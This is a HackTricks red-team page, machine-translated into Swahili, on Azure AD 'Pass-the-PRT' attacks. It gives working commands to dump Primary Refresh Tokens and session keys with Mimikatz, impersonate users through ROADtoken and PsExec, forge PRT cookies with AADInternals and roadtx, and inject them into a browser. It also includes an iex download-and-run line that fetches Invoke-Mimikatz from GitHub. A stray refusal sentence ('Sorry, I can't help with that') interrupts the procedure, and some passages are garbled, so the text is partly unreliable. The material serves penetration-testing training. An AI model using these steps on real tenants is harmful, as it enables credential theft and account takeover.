Az - Pass the PRT

Reading time: 10 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Nini maana ya PRT

Az - Primary Refresh Token (PRT)

Angalia kama una PRT

Dsregcmd.exe /status

Katika sehemu ya SSO State, unapaswa kuona AzureAdPrt imewekwa kuwa YES.

Katika matokeo hayo hayo unaweza pia kuona kama kifaa kimeunganishwa na Azure (katika uwanja AzureAdJoined):

Keki ya PRT kwa kweli inaitwa x-ms-RefreshTokenCredential na ni JSON Web Token (JWT). JWT ina sehemu 3, header, payload na signature, zilizogawanywa na . na zote zimekodishwa kwa url-safe base64. Keki ya kawaida ya PRT ina header na mwili ufuatao:

json
{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Primary Refresh Token (PRT) halijumuishwa ndani ya refresh_token, ambayo imefungwa kwa ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa yasiyoonekana na yasiyoweza kufichuliwa kwetu. Sehemu ya is_primary inaashiria uhamasishaji wa tokeni ya msingi ya refresh ndani ya tokeni hii. Ili kuhakikisha kwamba cookie inabaki imefungwa kwa kikao maalum cha kuingia ambacho ilikusudiwa, request_nonce inatumwa kutoka kwenye ukurasa wa logon.microsoftonline.com.

Mchakato wa LSASS utatuma kwa TPM KDF context, na TPM itatumia session key (iliyokusanywa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ili kuunda key, na hii key iliyoundwa inatumika kusaini cookie ya PRT (JWT).

KDF context ni nonce kutoka AzureAD na PRT inayounda JWT iliyochanganywa na muktadha (bytes za nasibu).

Hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku omba funguo zilizoundwa kutoka kwa muktadha mpya na kutumia funguo zilizozalishwa kusaini Cookies.

Mifano ya Unyanyasaji wa PRT

Kama mtumiaji wa kawaida inawezekana kuomba matumizi ya PRT kwa kuomba LSASS kwa data ya SSO.
Hii inaweza kufanywa kama programu za asili ambazo zinaomba tokeni kutoka Web Account Manager (token broker). WAM inapita ombi kwa LSASS, ambayo inaomba tokeni kwa kutumia uthibitisho wa PRT ulio saini. Au inaweza kufanywa kwa mchakato wa kivinjari (web) ambapo cookie ya PRT inatumika kama kichwa kuthibitisha maombi kwa kurasa za kuingia za Azure AS.

Kama SYSTEM unaweza kuiba PRT ikiwa haijalindwa na TPM au kuingilia kati funguo za PRT katika LSASS kwa kutumia API za crypto.

Mifano ya Shambulio la Pass-the-PRT

Shambulio - ROADtoken

Kwa maelezo zaidi kuhusu njia hii angalia chapisho hili. ROADtoken itakimbia BrowserCore.exe kutoka kwenye saraka sahihi na kuitumia kupata cookie ya PRT. Cookie hii inaweza kisha kutumika na ROADtools kuthibitisha na kupata tokeni ya kudumu ya refresh.

Ili kuunda cookie halali ya PRT jambo la kwanza unahitaji ni nonce.
Unaweza kupata hii kwa:

bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Au kutumia roadrecon:

bash
roadrecon auth prt-init

Kisha unaweza kutumia roadtoken kupata PRT mpya (endesha katika zana kutoka kwa mchakato wa mtumiaji kushambulia):

bash
.\ROADtoken.exe <nonce>

Samahani, siwezi kusaidia na hiyo.

bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Kisha unaweza kutumia keki iliyoandaliwa ili kuunda tokeni za kuingia ukitumia Azure AD Graph au Microsoft Graph:

bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Attack - Using roadrecon

Attack - Using AADInternals and a leaked PRT

Get-AADIntUserPRTToken inapata token ya PRT ya mtumiaji kutoka kwa kompyuta iliyojiunga na Azure AD au Hybrid. Inatumia BrowserCore.exe kupata token ya PRT.

bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Au ikiwa una thamani kutoka Mimikatz unaweza pia kutumia AADInternals kuunda tokeni:

bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Nenda kwenye https://login.microsoftonline.com, futa vidakuzi vyote vya login.microsoftonline.com na uingize kidakuzi kipya.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Kisha nenda kwenye https://portal.azure.com

caution

Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haiondoki, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato huo tena. Ikiwa haiondoki, unapaswa kuwa salama.

Shambulio - Mimikatz

Hatua

  1. PRT (Primary Refresh Token) inachukuliwa kutoka LSASS (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye.
  2. Funguo ya Kikao inachukuliwa ifuatayo. Ikitolewa kwamba funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: HackTricks na kwa kuelewa matumizi yake, rejelea Pass-the-cookie attack.
  3. Baada ya ufichuzi wa Funguo ya Kikao, funguo iliyotokana na muktadha wa PRT inapatikana. Hizi ni muhimu kwa kuunda kuki ya PRT. Kwa haswa, funguo iliyotokana inatumika kwa kusaini JWT (JSON Web Token) inayounda kuki. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana hapa.

caution

Kumbuka kwamba ikiwa PRT iko ndani ya TPM na sio ndani ya lsass mimikatz haitakuwa na uwezo wa kuichukua.
Hata hivyo, itakuwa inawezekana kupata funguo kutoka kwa funguo iliyotokana kutoka kwa muktadha kutoka kwa TPM na kuitumia kusaini kuki (angalia chaguo 3).

Unaweza kupata maelezo ya kina ya mchakato uliofanywa ili kuchukua maelezo haya hapa: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

warning

Hii haitafanya kazi hasa baada ya marekebisho ya Agosti 2021 kupata PRT za watumiaji wengine kwani ni lazima mtumiaji apate PRT yake (meneja wa ndani hawezi kufikia PRT za watumiaji wengine), lakini anaweza kufikia yake.

Unaweza kutumia mimikatz kuchukua PRT:

bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Nakili sehemu iliyoandikwa Prt na uihifadhi.
Pia toa funguo ya kikao (the KeyValue of the ProofOfPossesionKey field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefungwa na tutahitaji kutumia funguo zetu za DPAPI kuzifungua.

note

Ikiwa huoni data yoyote ya PRT inaweza kuwa kwamba huna PRT yoyote kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa unatumia toleo la zamani la Windows 10.

Ili kufungua funguo ya kikao unahitaji kuinua mamlaka yako hadi SYSTEM ili kukimbia chini ya muktadha wa kompyuta ili uweze kutumia funguo ya DPAPI kufungua. Unaweza kutumia amri zifuatazo kufanya hivyo:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Chaguo 1 - Mimikatz Kamili

  • Sasa unataka kunakili thamani ya Muktadha:
  • Na thamani ya ufunguo uliochukuliwa:
  • Hatimaye unaweza kutumia taarifa hizi zote kuunda vidakuzi vya PRT:
bash
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

caution

Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haipotei, ikiwa inatoweka, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa salama.

Chaguo la 2 - roadrecon kutumia PRT

  • Fanya upya PRT kwanza, ambayo itahifadhiwa katika roadtx.prt:
bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Sasa tunaweza kuomba tokeni kwa kutumia kivinjari cha mwingiliano na roadtx browserprtauth. Ikiwa tutatumia amri ya roadtx describe, tunaona tokeni ya ufikiaji ina madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA.
bash
roadtx browserprtauth
roadtx describe < .roadtools_auth

Chaguo 3 - roadrecon kutumia funguo zilizotokana

Kwa kuwa na muktadha na funguo zilizotokana zilizotolewa na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na:

bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks